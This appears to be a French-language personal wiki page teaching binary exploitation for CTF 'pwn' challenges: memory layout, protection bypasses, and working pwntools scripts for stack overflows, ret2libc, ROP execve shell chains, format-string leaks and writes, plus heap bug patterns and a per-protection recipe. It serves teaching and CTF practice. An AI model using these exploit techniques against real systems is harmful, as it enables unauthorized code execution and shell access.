Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Reverse Engineering
March 22, 2026

Binary Exploitation

L’exploitation binaire vise à détourner le flux d’exécution d’un programme en manipulant la mémoire. C’est le domaine “pwn” en CTF.

Fondamentaux — organisation de la mémoire§

Adresses hautes
┌─────────────────┐
│     Stack       │ ← Variables locales, adresses de retour, paramètres
│   (croît ↓)     │   ESP/RSP pointe vers le sommet
├─────────────────┤
│       ...       │
├─────────────────┤
│      Heap       │ ← Mémoire allouée dynamiquement (malloc/new)
│   (croît ↑)     │
├─────────────────┤
│  BSS Segment    │ ← Variables globales non initialisées
├─────────────────┤
│  Data Segment   │ ← Variables globales initialisées
├─────────────────┤
│  Text Segment   │ ← Code exécutable (lecture seule)
└─────────────────┘
Adresses basses

Stack frame§

Appel de foo(arg) :

RSP → [  données locales  ]   ← variables locales de foo
      [  saved RBP        ]   ← ancien base pointer sauvegardé
      [  return address   ]   ← adresse de l'instruction suivante dans l'appelant
      [  arg              ]   ← argument passé à foo (ou en registre en x86-64)

Protections modernes§

ProtectionDescriptionBypass
ASLRAdresses aléatoires à chaque exécutionFuite d’adresse (leak)
NX/DEPStack/Heap non exécutablesROP chains
Stack CanaryValeur secrète avant l’adresse de retourFuite du canary
PIEPosition Independent Executable (ASLR pour le binaire)Fuite d’adresse du binaire
RELROSections GOT en lecture seuleCibler d’autres zones
# Vérifier les protections d'un binaire
checksec --file=./vuln
# ou avec pwntools
python3 -c "from pwn import *; print(ELF('./vuln').checksec())"

Buffer Overflow (Stack)§

Principe§

// Code vulnérable
#include <stdio.h>
#include <string.h>

void vulnerable() {
    char buffer[64];
    gets(buffer);    // ← gets() ne limite pas la taille → buffer overflow
    // ou : strcpy(buffer, input)
    //      scanf("%s", buffer)
}

int main() {
    vulnerable();
    return 0;
}
Stack layout avant overflow :
[ buffer[64] ][ saved RBP (8) ][ return addr (8) ]

Après overflow avec 80+ octets :
[ AAAA...A  ][ AAAAAAAAAAAAA ][ NOUVEAU RETOUR   ]

                              On contrôle ici → RIP = adresse arbitraire

Trouver l’offset§

# Générer un pattern cyclic (pas de répétition)
python3 -c "from pwn import *; print(cyclic(200))" > pattern.txt
./vuln < pattern.txt
# → Segfault, RIP = valeur du pattern

# Trouver l'offset correspondant
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"  # offset = 76

Exploit simple — ret2win (sans ASLR/PIE)§

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# Adresse de la fonction win() à appeler
win_addr = elf.symbols['win']

offset = 76  # trouvé avec cyclic
padding = b'A' * offset

# En x86-64, parfois nécessaire d'aligner la stack (ret gadget)
ret = 0x401234  # adresse d'une instruction "ret" (pour aligner)

payload = padding + p64(ret) + p64(win_addr)

p.sendline(payload)
p.interactive()

Ret2libc — appeler system(“/bin/sh”)§

from pwn import *

# Si ASLR est désactivé ou si on a une fuite d'adresse libc
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Fuite d'adresse puts (pour calculer la base libc)
p = process('./vuln')

# Gadget : pop rdi ; ret (pour passer le 1er argument)
pop_rdi = 0x400693

# Étape 1 : fuiter l'adresse de puts dans la GOT
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])  # argument : adresse GOT de puts
payload += p64(elf.plt['puts'])  # appel à puts
payload += p64(elf.symbols['main'])  # retour à main

p.sendline(payload)
p.recvline()
leaked = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")

# Étape 2 : appeler system("/bin/sh")
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

payload2 = b'A' * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

ROP Chains (Return-Oriented Programming)§

Technique pour bypasser NX : enchaîner des “gadgets” (séquences d’instructions se terminant par ret) pour construire une exécution arbitraire.

# Trouver des gadgets dans un binaire
ROPgadget --binary ./vuln --rop
ropper -f ./vuln

# Gadgets utiles
pop rdi ; ret charger un argument dans rdi
pop rsi ; ret charger un argument dans rsi
pop rdx ; ret charger un argument dans rdx
syscall effectuer un appel système
ret aligner la stack (padding)

ROP pour exécuter un syscall§

# Appel système execve("/bin/sh", NULL, NULL) via ROP
# execve → numéro de syscall 59 (0x3b) en x86-64
# Registres : rax=59, rdi="/bin/sh", rsi=NULL, rdx=NULL

from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)

# Pwntools peut construire la chain automatiquement
rop.call('execve', [b'/bin/sh\x00', 0, 0])
# ou manuellement :
rop.raw(pop_rdi)
rop.raw(bin_sh_addr)
rop.raw(pop_rsi)
rop.raw(0)
rop.raw(pop_rdx)
rop.raw(0)
rop.raw(pop_rax)
rop.raw(59)
rop.raw(syscall_addr)

payload = b'A' * offset + rop.chain()

Format String§

Principe§

// Code vulnérable
char buf[128];
fgets(buf, sizeof(buf), stdin);
printf(buf);  // ← Devrait être printf("%s", buf)
printf("%x %x %x") lit les arguments suivants sur la stack
Si l'utilisateur contrôle le format :

printf("AAAA %x %x %x %x %x %x %x")
→ Affiche des valeurs de la stack → fuite de mémoire (stack leak)

printf("%n") écrit le nombre de caractères imprimés dans l'adresse pointée
→ Écriture arbitraire en mémoire

Exploitation§

from pwn import *

p = process('./vuln')

# 1. Fuite de mémoire — trouver la position de l'input sur la stack
# Envoyer "AAAA%1$x %2$x %3$x..." et chercher 41414141
for i in range(1, 20):
    p.sendline(f"AAAA%{i}$x")
    output = p.recvline()
    if b"41414141" in output:
        print(f"Offset : {i}")
        break

# 2. Fuite d'une adresse spécifique (ex: canary à l'offset 7)
payload = b"%7$p"
p.sendline(payload)
canary = int(p.recvline().strip(), 16)
log.info(f"Canary : {hex(canary)}")

# 3. Écriture arbitraire avec %n
# Écrire 0xdeadbeef à l'adresse target_addr
target_addr = 0x601028
payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef})
p.sendline(payload)

Heap Exploitation§

Use-After-Free§

// Code vulnérable
char *ptr = malloc(64);
free(ptr);
// ptr est toujours utilisable → Use-After-Free
strcpy(ptr, user_input);  // Écriture dans un chunk libéré
// Si un autre objet occupe maintenant cet espace → corruption

Heap overflow§

struct Chunk {
    char data[16];
    void (*func_ptr)();  // Pointeur de fonction
};

// Si on peut déborder de data → écraser func_ptr → exécution arbitraire

Outils§

# GDB avec peda/pwndbg/gef (améliore l'interface GDB pour le pwn)
gdb ./vuln
(gdb) run < payload
(gdb) info registers    # État des registres
(gdb) x/20wx $rsp       # 20 mots en hex depuis la stack
(gdb) x/i $rip          # Instruction courante
(gdb) b *0x401234       # Breakpoint à une adresse

# pwndbg (plugin recommandé)
pwndbg> cyclic 200      # Générer un pattern
pwndbg> cyclic -l 0x61616168  # Trouver l'offset

# ltrace / strace — tracer les appels
ltrace ./vuln            # Appels à la libc
strace ./vuln            # Appels système

# Désassemblage statique
objdump -d ./vuln | grep -A20 'vulnerable'
gdb: disas vulnerable

# Décompilateur (Ghidra, IDA Free, Binary Ninja)
# Ghidra (gratuit) : analyse statique complète avec décompilation en C

pwntools — template de base§

from pwn import *

# Configuration
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

# Connexion (local ou remote)
# p = process('./vuln')
p = remote('challenge.ctf.com', 1337)

elf = ELF('./vuln')
# libc = ELF('./libc.so.6')  # Si fournie
# rop = ROP(elf)

offset = 76

def exploit():
    payload = b'A' * offset
    payload += p64(elf.symbols['win'])

    p.sendlineafter(b'Input: ', payload)
    p.interactive()

exploit()

Recette par scénario§

Protections absentes (ASLR off, NX off) :
→ Injecter un shellcode dans le buffer et y sauter

NX activé, ASLR off, PIE off :
→ ret2win (si fonction win) ou ret2libc

NX activé, ASLR activé, PIE off :
→ Fuiter une adresse libc via puts/printf, puis ret2libc

Canary activé :
→ Fuiter le canary (format string ou info leak), puis overflow normal

Tout activé (Full RELRO, PIE, ASLR, Canary, NX) :
→ ROP avancé, fuite d'adresses multiples, ou vulnérabilité heap
—The Gardener